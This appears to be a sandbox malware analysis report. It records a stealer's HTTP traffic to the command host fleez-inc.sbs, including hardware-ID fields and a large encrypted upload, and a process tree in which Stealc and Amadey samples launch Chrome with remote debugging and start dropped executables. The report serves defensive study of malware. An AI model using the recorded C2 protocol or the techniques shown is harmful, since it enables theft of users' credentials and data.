2024-11-12 20:23:03 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JPG6280NFMTTQWX9J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: fleez-inc.sbs
2024-11-12 20:23:03 UTC	1270	OUT	Data Raw: 2d 2d 4a 50 47 36 32 38 30 4e 46 4d 54 54 51 57 58 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 4a 50 47 36 32 38 30 4e 46 4d 54 54 51 57 58 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 50 47 36 32 38 30 4e 46 4d 54 54 51 57 58 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a Data Ascii: --JPG6280NFMTTQWX9JContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--JPG6280NFMTTQWX9JContent-Disposition: form-data; name="pid"1--JPG6280NFMTTQWX9JContent-Disposition: form-data; name="lid"LOGS11--public
2024-11-12 20:23:03 UTC	1008	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hv7vebl1p9ocd8q3ddmul64c9f; expires=Sat, 08-Mar-2025 14:09:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cu8LViY4g3X%2BmycqYVO2D%2B3e36puD6lH7kqXnLiywWK6%2BKgXnE6GhJFFOibzN8O9e4u8gNYF2ZeaIOEUMKOlZi07lggmqG%2FhpZrdgeOnQlbd5mcWuYjycFu%2BZmkky2aQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193cd51cfe0c13-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2183&delivery_rate=2544815&cwnd=246&unsent_bytes=0&cid=1903e59eb16c220b&ts=445&x=0"
2024-11-12 20:23:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:23:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49854	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:23:05 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EVPZUO40T7QNZUBFCGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550412 Host: fleez-inc.sbs
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: 2d 2d 45 56 50 5a 55 4f 34 30 54 37 51 4e 5a 55 42 46 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 45 56 50 5a 55 4f 34 30 54 37 51 4e 5a 55 42 46 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 56 50 5a 55 4f 34 30 54 37 51 4e 5a 55 42 46 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 Data Ascii: --EVPZUO40T7QNZUBFCGDContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--EVPZUO40T7QNZUBFCGDContent-Disposition: form-data; name="pid"1--EVPZUO40T7QNZUBFCGDContent-Disposition: form-data; name="lid"LOGS11--pu
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: f6 6d c0 7a 56 ae 0c db 45 bc 5c 38 de 20 bd 21 ad 98 93 5d af 8d 5a 91 f1 62 f8 a1 af 3a 20 62 34 6d 2d a7 ab 57 b4 e9 b4 48 e9 96 df 2a 69 28 c1 bf 9f 1d 22 cf 32 69 ff 40 df fa c7 69 74 d5 7e d8 88 cc c8 44 94 e2 f2 c1 e9 bc 25 e0 bf 8b a6 89 0d e2 07 53 bd 68 d6 46 00 25 fc 50 3c e7 aa 1e 22 bb ea 62 cb 9f a8 a5 6d d6 87 b5 9a 6d 14 fe 5a 78 9b 7c 10 9d 80 da 7c b7 2d e5 24 83 40 f6 60 3f 7e 62 79 4c db 78 09 32 69 45 82 a7 c8 aa 31 47 01 7d 6e f6 28 b1 28 09 f1 89 e9 8d 87 98 e6 93 f5 1b da 49 df 39 6a d9 95 d1 21 a9 90 05 9e 2c 1f 19 0d 4f a3 8e de b6 a8 dc 50 41 51 4b 41 f1 1a bd af 65 55 1d 09 f0 53 b1 04 5b d0 60 30 1a e0 38 fb c5 ff 4f 45 b2 7c 8c 2e ba f5 13 f8 f1 31 2c da 5f 85 4d 2e 45 5b 2c 35 eb e0 01 d4 69 35 5f 25 4a 4c 35 b7 6f f9 9a 99 Data Ascii: mzVE\8 !]Zb: b4m-WH*i("2i@it~D%ShF%P<"bmmZx\|\|-$@`?~byLx2iE1G}n((I9j!,OPAQKAeUS[`08OE\|.1,_M.E[,5i5_%JL5o
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: c7 ee bc d8 52 2c 14 1c 2b a7 2c 3f e6 a5 5b eb 01 ef de 9d 0f 03 a5 d9 b1 8a 70 b8 24 48 ff d5 f8 e3 ed 42 16 ac 51 76 20 3f 0b 8e 1a 68 b5 42 57 22 32 c7 e2 88 b8 3a d2 98 f0 af aa 70 d1 68 6c 5c d4 41 35 6f 2b bb e8 1c af 3d 9d a6 33 c8 b5 21 e3 49 b5 30 3d 73 04 a3 29 dd aa 9e 63 74 6d db 79 e9 cb 1d 93 4e 1a b0 f6 59 2a 11 14 89 bd 47 0b 44 81 36 50 7d 1e 1e a6 ba 41 25 28 02 92 d8 2b 12 ba 1d 66 0e bd b7 23 18 9f 4b f4 87 17 53 3e 07 27 3a de 7f c9 2e 7d ff 71 c6 ed ed c2 2b b9 4d e3 81 c7 83 4b fc d4 f2 9b 54 da 27 46 21 7f e9 ee 69 7f 8f 7d 02 a8 10 59 aa 31 7d ab c1 dd ee 8c 22 08 2d c9 0a 4e 0a 3d a0 57 c8 1b 7b a4 fb 7e 5a 54 25 32 22 9a ce 0f e2 2f 8e 56 a9 40 6d 0d 85 d8 a0 60 af 09 ec ba bf de 99 e4 44 13 31 65 64 b0 f9 31 ef a8 c8 e4 37 53 Data Ascii: R,+,?[p$HBQv ?hBW"2:phl\A5o+=3!I0=s)ctmyNY*GD6P}A%(+f#KS>':.}q+MKT'F!i}Y1}"-N=W{~ZT%2"/V@m`D1ed17S
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: e8 35 16 f4 d8 fd 14 e9 e6 b3 78 24 e2 e4 f9 17 fa 99 4c 8e d0 c8 8b 89 0f 45 98 6e b1 58 3c b8 1f b6 58 61 7b 4c 4b c2 06 1a 5e 76 32 20 a9 fd 58 28 06 12 ff 99 c1 ef 45 0a 3a fc 19 66 aa 35 0e ef 64 b9 7a 98 be af 7f d5 65 fc 77 d6 60 65 3f 6e 21 dd 53 06 bc 6d 43 0d e0 41 ed ac c4 2d d4 d8 9a 26 16 3e 58 71 0f 30 4a a3 e4 99 44 44 2b 5b 91 13 b0 b8 b4 f0 8a 21 0c 2b 66 a4 86 07 8a e7 31 95 5c 7d 25 92 fc c0 19 45 6e c1 cf 0c ba 7d b6 1d aa 4a 6a d8 b9 29 3b c9 20 58 6d d9 a3 b4 41 a8 fb e7 7f 96 95 a5 4f 3c 30 61 ff 22 e8 fa 33 e2 7b e9 60 56 0d c4 41 e2 f3 fb 91 c9 5f d8 13 8f 50 e4 5c a3 ca e0 43 4b 53 bd 97 5d de 5e 7c 5e 50 c6 fb f9 ce e5 ab 25 31 86 ec f8 c7 14 d9 76 d1 fb 4a e3 5c 6f a7 5b 8d c9 64 63 6d 2c c4 f1 f4 8e 2d 43 c9 7c de 2a 6d 71 9b Data Ascii: 5x$LEnX<Xa{LK^v2 X(E:f5dzew`e?n!SmCA-&>Xq0JDD+[!+f1\}%En}Jj); XmAO<0a"3{`VA_P\CKS]^\|^P%1vJ\o[dcm,-C\|*mq
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: d2 a9 f4 b9 ee 33 70 76 72 7e ce e1 1e f1 3b 94 a4 e3 44 1e 71 47 15 ed b4 ed ec c3 94 04 ec a8 2e 7a 8f b2 04 90 fd 35 dd a9 1d 7e e6 6c 7c 84 cc 59 5c 6e 7c 77 81 b3 5e 40 94 48 ab 8b a0 b4 01 29 4c 8b 8b 9a 35 be 57 3a 48 ed 59 d8 a9 91 0f bf b8 99 03 a3 55 d8 d0 04 66 bd fa 54 e5 e1 13 ba 01 ef 25 d2 3f 77 69 ef e3 da 3b 6f 24 85 7f 51 9d c2 29 f9 ea b8 c8 77 ed a8 e4 32 e4 fd 45 7a 30 52 b1 5b e1 8a 1b 74 44 f8 fe 41 17 97 ed ef 8f ac 1c 0a 7d b8 06 2b b5 59 45 c0 d4 31 ec 3e eb e3 4a 14 d1 a6 db d3 37 65 5e 43 da f3 72 3d eb b3 46 eb dd f9 d6 b8 9a ef bd 1e 03 a1 a3 45 92 da 69 f2 68 5a e1 f9 f2 ad 0b 71 5a 19 02 a5 b1 b7 92 8e cd 05 35 3c 7d 37 28 9d 97 70 86 f0 a7 b2 71 76 df f8 47 72 32 cd 3a ab e6 06 e7 df f5 8c e1 37 1e 47 0e bb 00 72 ad 31 30 Data Ascii: 3pvr~;DqG.z5~l\|Y\n\|w^@H)L5W:HYUfT%?wi;o$Q)w2Ez0R[tDA}+YE1>J7e^Cr=FEihZqZ5<}7(pqvGr2:7Gr10
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: 79 93 ed f9 05 a3 02 b7 c1 d0 32 27 0c b7 5e da aa c4 3d 4c 79 c6 72 0d ae 9f b8 73 26 90 eb ec 3e 5a 19 24 34 cd 6f 64 28 c3 e1 8f 30 d6 42 ab 73 05 8a cf ec 17 dd bd de 11 cc 0b 0d 0b ff d6 75 08 17 07 c6 54 54 59 e5 59 0c 5c 61 8b f0 10 62 56 d5 d3 89 1b 6f 2f 48 0c cd 3b 44 dc 36 83 68 a1 c5 79 46 f6 28 e3 9d aa e0 8e 2b 84 c2 74 0d 7d 6a 49 bb bc 81 7b 16 ae a8 df 7a 7f 58 be 0f 36 c7 b4 ed ef ac 93 1e 0c 03 41 54 96 b7 60 37 41 f4 2c c1 22 5b 41 e6 ce c6 a1 cc 4b b3 45 62 02 73 1b a5 37 78 38 a9 3e 6a 5c 41 54 ae 8b eb e6 17 40 8e 0f 6a f5 29 41 f0 92 e7 13 40 60 3e 6d 70 06 65 9d c3 8d 06 a0 ec a9 32 2f a4 7d 42 2e 18 0e 72 87 1a ca c4 a3 08 73 57 bf 92 7e 58 a8 a7 de 89 8e 15 30 7d 0d 08 43 6d ca 05 9c f3 3c 8b 60 dc f8 94 63 4c c4 94 00 32 ad ab Data Ascii: y2'^=Lyrs&>Z$4od(0BsuTTYY\abVo/H;D6hyF(+t}jI{zX6AT`7A,"[AKEbs7x8>j\AT@j)A@`>mpe2/}B.rsW~X0}Cm<`cL2
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: 13 75 9e 12 1e 30 c1 72 a8 21 7e 83 f0 33 c4 da 30 cf f2 e8 d5 e1 c7 db 8b 4f de 5e 89 52 0a df a9 9e 1b c6 4d 1f c8 1e 94 32 64 fe 95 37 13 64 f6 48 3f b7 8b 9e 23 de 4d 89 dc b0 ce 37 7d 6b 77 15 a2 59 e0 ba 9f 42 0c 5a 6c cf 6e 3f 96 bf ea 8b 77 e5 7e 36 e0 06 ab d4 78 81 2f 1c 38 4a b0 8d c3 fd 99 09 0c 89 4e 7e 39 ae ff d7 a8 53 46 1c 84 4e 36 5e 7c a8 73 e1 dc 92 3f 56 79 db f2 b7 4c ec 9f 22 33 d4 aa d8 2b ff 09 e4 3b 13 21 97 bd 1f 7e 5d 70 d9 db 74 54 a8 92 17 ce c5 a9 1c 75 33 44 9e 74 fc 33 42 12 e0 5a 08 b6 d3 81 a4 b5 e7 bf e0 1b 4f 65 a6 0b 18 f3 32 8b 87 7e 4f f1 1c d2 e9 48 46 84 48 b0 65 d3 3d fc fe df fc b4 1b bb 37 c5 a9 23 3c dd d6 5a 3f 21 c2 64 57 f6 e1 f3 25 a0 3b e7 9f 3c 97 ec 59 f9 28 03 38 6c 15 ef 52 02 d2 ee 4f 9c 91 21 ee 70 Data Ascii: u0r!~30O^RM2d7dH?#M7}kwYBZln?w~6x/8JN~9SFN6^\|s?VyL"3+;!~]ptTu3Dt3BZOe2~OHFHe=7#<Z?!dW%;<Y(8lRO!p
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: 64 ec 4d d6 50 d5 45 03 8f b7 91 bf b2 fd 5c 8e 7f 4f 25 59 7f 31 f6 3a 26 b1 7d a1 25 3a 60 a6 80 e6 3b 40 d1 bc 35 b5 38 52 c8 d6 9e 90 f3 13 28 4d 59 76 31 c1 eb a1 b8 97 24 84 fa 24 fc fc 40 34 63 01 a6 53 94 c9 c9 a1 f7 92 10 df 91 ed 9b e4 e0 14 02 53 6c 0a 3d 95 82 bb 9b 82 af 01 fe 5c 69 82 a5 a9 36 d6 5f 0c 63 34 bb e1 78 4b 59 d2 fb 4d bb eb b0 c1 89 94 87 4a 36 0e 31 41 87 b1 5d 05 97 63 dd f2 12 ab b6 77 4f 2c 3b fe 40 da 1b ce 3e f6 93 b7 c2 dd 12 27 20 62 ee 4c b9 e0 71 17 74 1e b4 85 e9 ae a6 7e a5 a8 ee 74 b7 97 14 7f 7a 42 0e f3 b2 3b 71 b0 30 22 89 eb ad 29 87 fa 2b 35 89 09 bf 69 62 dd 67 85 18 c1 fc c7 86 9a 0d e3 22 ee 6e 27 ae 5c 2e 6c ab 8e 56 65 76 5f 74 a9 2d 59 85 14 1e c7 9a a1 f2 ee 2c f4 9d 56 b5 97 25 f6 29 24 1a 26 23 ed 04 Data Ascii: dMPE\O%Y1:&}%:`;@58R(MYv1$$@4cSSl=\i6_c4xKYMJ61A]cwO,;@>' bLqt~tzB;q0")+5ibg"n'\.lVev_t-Y,V%)$&#
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: 5c 85 33 5a 84 2e 98 e2 9a cd f6 5a a4 dc 10 10 05 12 8f ea 8c 35 f8 af f0 12 8a fc 8e bd 51 53 f1 f4 f8 13 94 56 44 fd b9 38 9c 40 cf 8b 75 3c e0 a9 8b bb 5f e9 3f 1d 40 25 61 8b 44 69 96 7b 90 45 f3 41 96 09 f4 9b 7e 38 40 9c ae 18 b5 ef ac 5a e3 bb bb 19 f1 b5 3a 4a 8a 19 3c 7f bc 3b 30 d1 0e 90 f5 10 e2 88 5f d2 e1 8f 24 a2 c5 9a cd 64 16 d6 a5 26 a2 73 f0 44 fc ef b3 a4 7b 6c c7 80 8c 62 a4 da 88 b2 fa b6 0b 1f 4f 0c 31 b6 b6 d4 9c db af a5 1d 19 86 0a 0e 6c 30 ee e6 e3 57 8a 20 39 d7 e9 9f ad d3 dd be 9c a3 41 5f cb 15 aa f1 bf 94 91 a6 e1 84 d7 34 c3 2f 8c 8b 7d 2c 04 7e f7 33 66 c5 f9 4d 6f 94 28 86 a7 99 99 24 86 8d 57 3d b6 88 58 cd 25 3c 18 dc d6 57 e7 d7 85 ed 42 0d 29 d8 e0 89 f1 0c 7c ad 71 b8 e2 0a 11 26 e5 42 82 27 65 64 8b 0f 2a a5 c8 67 Data Ascii: \3Z.Z5QSVD8@u<_?@%aDi{EA~8@Z:J<;0_$d&sD{lbO1l0W 9A_4/},~3fMo($W=X%<WB)\|q&B'ed*g
2024-11-12 20:23:05 UTC	15331	OUT	Data Raw: 0c 3f a6 2a f8 48 a0 06 20 60 b7 1b b8 e3 bb 79 1e ba 32 bb f0 48 ab c8 36 20 38 59 10 ad 47 c3 5c 93 b3 2f 50 be 4c cd c4 d2 ac 3e 3c 09 a7 62 9e 1f d8 56 8a 4c 9a a6 9a df dd e0 3c 37 da 15 f2 ef 25 3c 52 77 8c 98 a0 59 73 cc e1 1a cb a3 6d ff 17 b3 2a 25 1f a8 1a 43 58 be b6 05 4c 7f 3c 70 a1 0c d0 df 5f 55 07 05 8c 9e 5e 73 40 e9 fd 27 7e bf bb 3a ab f0 38 fd 3d 20 0b b0 0c d0 61 fe ad 94 9f 47 c9 d1 a1 33 30 e5 ad 71 29 af fa c3 d9 4b 40 c7 0f c6 e6 ec 99 8a cf 23 79 02 e1 29 cc e6 b1 4e 41 a9 5d e0 e5 5b c5 25 ee 8a e0 ef f2 4f eb 78 04 bb 10 10 f2 48 02 50 d1 3e 7b 48 f1 45 15 3f 7b 2f 22 e5 ce 9a 28 ea bc e2 2c 59 a5 fe 8e 71 4a 4e c6 7b c9 c2 75 a3 ce 42 90 90 11 4f 8c 67 c6 ff 4e cb db 02 26 73 c9 65 ab a7 0c 56 e2 85 c9 b9 f1 61 ac 15 48 f4 96 Data Ascii: ?H `y2H6 8YG\/PL><bVL<7%<RwYsm%CXL<p_U^s@'~:8= aG30q)K@#y)NA][%OxHP>{HE?{/"(,YqJN{uBOgN&seVaH
2024-11-12 20:23:07 UTC	1010	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a0k1td3l4l1kmc43ci89o41cvd; expires=Sat, 08-Mar-2025 14:09:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFLzrgHG54ZGVd%2BigbTUUm2kFVGi%2FGt1A6RMvBgD7RjPXDz8MYcTPUE1oelfwloRSb3BGFTpodb1%2FLfpJHVACCJSiTa12BFPKF60nrYrewENqvTIhB9DFMbjxeYyjBoW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193ce17e120bb8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1910&sent=222&recv=603&lost=0&retrans=0&sent_bytes=2831&recv_bytes=552891&delivery_rate=930890&cwnd=242&unsent_bytes=0&cid=0f38c413cd830372&ts=2291&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49856	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:23:08 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: fleez-inc.sbs
2024-11-12 20:23:08 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 26 6a 3d 26 68 77 69 64 3d 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--public&j=&hwid=AFED3537E8332E19C80C8ED0A9788823
2024-11-12 20:23:10 UTC	1005	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=64ovncr4t4logqfg4ftjridvkq; expires=Sat, 08-Mar-2025 14:09:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J3lvjQ9g3rD%2BoBPKjtoeTl7ulhxCR9ENrmcaY7Rh%2BZ6cuIDCQgDriaoqp9mThMARs0N4fxquW7HzjhDDK6CsvRQTu%2FR41gH5aI4x1okQMb1g%2FIWP5uxVP9cVr1mPMJ2j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193cf71dfc798a-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19150&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=980&delivery_rate=153960&cwnd=32&unsent_bytes=0&cid=3bd6368d7dc8bb22&ts=1843&x=0"
2024-11-12 20:23:10 UTC	130	IN	Data Raw: 37 63 0d 0a 37 30 77 46 32 76 71 63 47 4c 6d 62 37 53 53 51 30 43 6e 73 46 30 5a 36 2f 46 6e 79 6b 57 58 78 62 57 4f 4d 78 69 4d 46 47 6f 57 30 4e 79 65 76 32 4b 59 36 30 65 2b 5a 56 4b 71 4d 42 72 41 34 64 30 4c 4a 64 38 43 67 55 4e 39 63 55 72 2f 6f 45 6a 4e 47 71 6f 41 71 59 34 62 56 2b 48 33 66 74 59 68 63 39 66 49 46 7a 6e 45 79 57 4d 5a 70 33 72 4d 41 30 31 64 54 38 5a 73 3d 0d 0a Data Ascii: 7c70wF2vqcGLmb7SSQ0CnsF0Z6/FnykWXxbWOMxiMFGoW0Nyev2KY60e+ZVKqMBrA4d0LJd8CgUN9cUr/oEjNGqoAqY4bV+H3ftYhc9fIFznEyWMZp3rMA01dT8Zs=
2024-11-12 20:23:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:21:13
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x750000
File size:	1'811'456 bytes
MD5 hash:	7EB28235D4F5C45E8B81D7E275380E94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2160637336.0000000000751000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1838467283.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:21:22
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:21:22
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2140,i,7468167225863871419,6688066973538653544,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:21:45
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIEBKJECFC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:21:45
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:21:45
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsIIEBKJECFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIIEBKJECFC.exe"
Imagebase:	0x340000
File size:	3'272'192 bytes
MD5 hash:	569607D801E71B62F8EEBC6945DCA704
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2175361575.0000000000341000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:21:47
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xe10000
File size:	3'272'192 bytes
MD5 hash:	569607D801E71B62F8EEBC6945DCA704
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2203663551.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:21:48
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe10000
File size:	3'272'192 bytes
MD5 hash:	569607D801E71B62F8EEBC6945DCA704
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2207719562.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:22:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe10000
File size:	3'272'192 bytes
MD5 hash:	569607D801E71B62F8EEBC6945DCA704
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

